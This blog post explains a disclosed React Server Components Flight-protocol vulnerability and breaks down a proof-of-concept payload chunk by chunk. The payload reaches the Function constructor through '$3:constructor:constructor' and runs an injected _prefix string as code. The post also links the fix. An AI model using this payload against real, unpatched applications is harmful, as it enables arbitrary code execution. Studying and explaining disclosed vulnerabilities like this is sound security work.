# Decoding the Flight Payload in React Server Components

If you’ve worked with React Server Components (RSC), you know the server streams a special payload to the client using the React Flight protocol. At first glance, it looks like harmless serialized data — just chunks that eventually turn into UI.

But what if an attacker could inject their own chunks into that stream?

A security researcher, **Lachlan Davidson**, demonstrated that by abusing React’s internal *Flight Reviver* logic, it’s possible to turn a crafted RSC payload into **arbitrary JavaScript execution on the client**.

## 1.React Server Component

In React Server Component the server actually doesn’t send JavaScript but it sends JSX (React Flight Protocol). In the server we convert the JSX into a React Flight Payload and the client receives the payload deserialize it on the client side and then it gets the HTML out of it

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1766328747890/fd532481-f044-4158-b526-9ab48acade8d.png align="center")

## 2.Let’s Decode the Payload

Here is the payload which was shared by Lachlan Davidson

```typescript
const payload = {
    '0': '$1',
    '1': {
        'status':'resolved_model',
        'reason':0,
        '_response':'$4',
        'value':'{"then":"$3:map","0":{"then":"$B3"},"length":1}',
        'then':'$2:then'
    },
    '2': '$@3',
    '3': [],
    '4': {
        '_prefix':'console.log(7*7+1)//',
        '_formData':{
            'get':'$3:constructor:constructor'
        },
        '_chunks':'$2:_response:_chunks',
    }
}
```

At first by looking at the code you might be thinking is this React. Well this is the payload send by the server to the client in chunks

In React Server Components (RSC), the server sends "chunks" of data to the client. React "revives" these chunks into UI. The vulnerability occurs when an attacker crafts a chunk that looks like a **Promise** (a "Thenable") to trick React's internal parser into executing code.

## 3.Breakdown of the Payload

### 01\. The Entry Point (Chunk 0)

`'0': '$1'` React starts parsing at Chunk 0. It sees `$1`, which is a pointer telling React: "Go look at Chunk 1 to find out what I am."

### 02\. The "Thenable" Trap (Chunk 1)

This is where the magic happens. In JavaScript, any object with a `.then()` method is treated like a Promise.

* `status: 'resolved_model'`: This tells React the "Promise" is already finished and ready to be processed.
    
* `then: '$2:then'`: This tells React to use the `.then` method found in Chunk 2.
    

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1766331876315/490928f9-243b-403f-9b95-3500477338a8.png align="center")

### 03\. The Self-Reference Trick (Chunk 2 & 3)

`'2': '$@3'`, `'3': []` The `$@` symbol is a "self-reference." It creates a loop that allows the attacker to grab React's own internal **Chunk Wrapper** object. This wrapper has a built-in function that React uses to process data. By grabbing this, the attacker can now run React’s internal code on their own malicious data.

### 04\. Injecting the Malicious JSON

`'value':'{"then":"$3:map","0":{"then":"$B3"},"length":1}'` Once React starts "resolving" Chunk 1, it parses this string. The `$B3` is the "nuclear option." The `B` prefix tells React: "This is a Blob, go fetch it using the `_formData.get` method."

### 05\. Hijacking the Constructor (Chunk 4)

This is the "Pro" move. The attacker redefines what `_formData.get` actually is:

* `_formData.get`: `'$3:constructor:constructor'`
    
    * Chunk 3 is an array (`[]`).
        
    * `[].constructor` is the `Array` function.
        
    * `Array.constructor` is the global `Function` object (which works like `eval`).
        
* `_prefix`: `console.log(7*7+1)//`
    
    * This is the code to be run. The `//` is vital because React appends a character at the end. The `//` comments it out so the code doesn't crash!
        

Without `console.log(7*7+1)//` the code

```typescript
 return response._formData.get(response._prefix + blobId);
```

would execute

```typescript
Function(console.log(7*7+1)3) // Syntax error! '3' is invalid
```

With the comment `//`, it causes no error -

```typescript
'_prefix': 'console.log(7*7+1)//'

Function(console.log(7*7+1) //3) // 3 is now inside a comment so ignored 🔥
```

## Final Notes

Well this issues has been reported to Meta by Lachlan Davidson and a patch was provided by the React Team by adding hasOwnProperty [https://github.com/facebook/react/pull/35277/files](https://github.com/facebook/react/pull/35277/files) and even more fixes for the same.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1766338864119/b4302340-d57c-4697-bfca-6e1c11723d5d.png align="center")

That marks the end of decoding the payload from the Flight protocol. Will catch up in another interesting post soon 😄
